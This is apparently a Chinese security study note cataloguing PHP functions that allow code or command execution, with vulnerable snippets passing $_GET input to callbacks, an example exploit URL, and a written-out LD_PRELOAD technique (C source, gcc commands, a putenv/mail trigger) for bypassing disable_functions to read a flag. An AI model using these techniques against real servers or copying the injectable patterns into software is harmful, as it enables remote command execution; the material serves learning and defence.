1.PHP中代碼執行的危險函數
call_user_func()
第一個參數 callback 是被調用的回調函數,其余參數是回調函數的參數。 傳入call_user_func()的參數不能為引用傳遞
call_user_func_array()
把第一個參數作為回調函數(callback)調用,把參數數組作(param_arr)為回調函數的的參數傳入。
call_user_func_array($_GET['1'],$_GET['2']);
codeexec.php?1=assert&2[]=phpinfo()
create_function
該函數的內部實現用到了eval
,所以也具有相同的安全問題。第一個參數args
是后面定義函數的參數,第二個參數是函數的代碼。
$a = $_GET['a']; $b = create_function('$a',"echo $a"); $b('');
array_map()
作用是為數組的每個元素應用回調函數 。其返回值為數組,是為 array1 每個元素應用 callback函數之后的數組。 callback 函數形參的數量和傳給 array_map() 數組數量,兩者必須一樣。
<?php $array = array(0,1,2,3,4,5); array_map($_GET[1],$array); ?>
preg_match+/e選項
搜索subject中匹配pattern的部分, 以replacement進行替換。當使用被棄用的 e 修飾符時, 這個函數會轉義一些字符,在完成替換后,引擎會將結果字符串作為php代碼使用eval方式進行評估並將返回值作為最終參與替換的字符串。

2.php命令執行函數
system
如果 PHP 運行在服務器模塊中, system() 函數還會嘗試在每行輸出完畢之后, 自動刷新 web 服務器的輸出緩存。
shell_exec(沒有回顯的命令執行)
通過 shell 環境執行命令,並且將完整的輸出以字符串的方式返回。(和``反引號效果相同)
passthru
同 exec() 函數類似, passthru() 函數 也是用來執行外部命令(command)的。 當所執行的 Unix 命令輸出二進制數據, 並且需要直接傳送到瀏覽器的時候, 需要用此函數來替代 exec() 或 system() 函數。
exec(只返回一行數據)
popen
打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用於讀或寫)並且必須用 pclose() 來關閉。此指針可以用於 fgets(),fgetss() 和 fwrite()。
proc_open
<?php $descriptorspec=array( //這個索引數組用力指定要用proc_open創建的子進程的描述符 0=>array('pipe','r'), //STDIN 1=>array('pipe','w'),//STDOUT 2=>array('pipe','w') //STDERROR ); $handle=proc_open('dir',$descriptorspec,$pipes,NULL); //$pipes中保存的是子進程創建的管道對應到 PHP 這一端的文件指針($descriptorspec指定的) if(!is_resource($handle)){ die('proc_open failed'); } //fwrite($pipes[0],'ipconfig'); print('stdout:<br/>'); while($s=fgets($pipes[1])){ print_r($s); } print('===========<br/>stderr:<br/>'); while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>
ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
當調用 output_callback 時,它將收到輸出緩沖區的內容作為參數 並預期返回一個新的輸出緩沖區作為結果,這個新返回的輸出緩沖區內容將被送到瀏覽器。
<?php $cmd = 'system'; ob_start($cmd); //將命令存儲到內部緩沖區 echo "$_GET[a]"; ob_end_flush(); 清除內部緩沖區,此時將輸出緩沖區的內容當作參數執行並輸入執行結果,即執行system($_GET(a)) ?>
mail() 第五個參數 excrt_cmd
第五個參數支持添加附加的命令作為發送郵件時候的配置,比如使用-f參數可以設置郵件發件人等。
如果傳遞了第五個參數(extra_cmd),則用sprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中,隨后將sendmail_cmd丟給popen執行,如果系統默認sh是bash,popen會派生bash進程,而我們剛才提到的bash 破殼漏洞,直接就導致我們可以利用mail()函數執行任意命令,繞過disable_functions的限制
即mail->poen->bash調用鏈
但是如果使用了php_escape_shell_cmd函數會對特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)進行轉義,我們可以通過putenv函數來設置一個包含自定義函數的環境變量,然后通過mail()來觸發
putenv()
bool putenv ( string $setting )
添加 setting 到服務器環境變量,環境變量僅存活於當前請求期間,在請求結束時環境會恢復到初始狀態。 即我們能夠自定義環境變量
比如:
LD_PRELOAD是Linux系統的下一個有趣的環境變量,它允許你定義在程序運行前優先加載的動態鏈接庫
這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。
通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。
一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。
它允許你定義在程序運行前優先加載的動態鏈接庫,這說明我們幾乎可以劫持PHP的大部分函數,比如php的mail函數實際上是調用了系統的sendmail命令,我們選一個庫函數geteuid
然后編寫一個自己的動態鏈接程序,tr1ple.c
#include<stdlib.h> #include<stdio.h> #include<string.h> void payload(){ system("cat /flag"); } int geteuid(){ if(geteenv("LD_PRELOAD")==NULL){ return 0; } unsetenv("LD_PRELOAD"); payload(); }
當我們編寫的共享庫的geteuid函數被調用時將執行命令,測試編譯時平台盡量與目標相近。
運行:
gcc -c -fPIC tr1ple.c -o tr1ple
gcc --share tr1ple -o tr1ple.so
此時生成了tr1ple.so,我們將so文件放在web目錄下,然后編寫php文件進行測試:
<?php putenv("LD_PRELOAD=/var/www/html/tr1ple.so"); mail("1@2","","","",""); ?>
然后訪問后就會在web目錄下產生2333文件:
所以就達到了劫持geteuid函數的目的,讓程序調用我們的惡意so文件中函數,我們讓php文件調用putenv來設置一個臨時環境變量LD_PRELOAD,以便於在程序執行時去加載我們的so,那么關鍵就是這里。那么聯想一下如果我們能劫持其他庫函數,那么也能達到相同的效果,因為php是用c寫的,mail調用了sendmail命令,sendmail命令又調用了geteuid函數,那就有以下:
1.如果其他php函數也調用了sendmail命令;
2.如果其它php函數調用系統命令並調用c的庫函數
以上兩種可能應該都是存在的,都可能產生風險。
assert
它也能來動態代碼執行,但是只是php5.x,7.x里就是即使參數是字符串也不執行
dl()
dl()函數允許在php腳本里動態加載php模塊,默認是加載extension_dir目錄里的擴展,
該選項是PHP_INI_SYSTEM范圍可修改的,只能在php.ini或者apache主配置文件里修改。
當然,你也可以通過enable_dl選項來關閉動態加載功能,而這個選項默認為On的,事實上也很少人注意到這個。
dl()函數在設計時存在安全漏洞,可以用../這種目錄遍歷的方式指定加載任何一個目錄里的so等擴展文件,extension_dir限制可以被隨意饒過。
所以我們可以上傳自己的so文件,並且用dl函數加載這個so文件然后利用so文件里的函數執行其他操作,
包括系統命令。
ini_set()/ini_alter()
設置指定配置選項的值。這個選項會在腳本運行時保持新的值,並在腳本結束時恢復。如果能結合call_user_func函數就能進行調用設置。
不是所有有效的選項都能夠用 ini_set() 來改變的。 這里有個有效選項的清單附錄,附錄地址為https://www.php.net/manual/zh/ini.list.php
imap_mail
imap_mail在執行時也會fork execve,去調用sendmail,因此也會加載我們的so
參數設置與mail相同
參考(侵刪):
https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd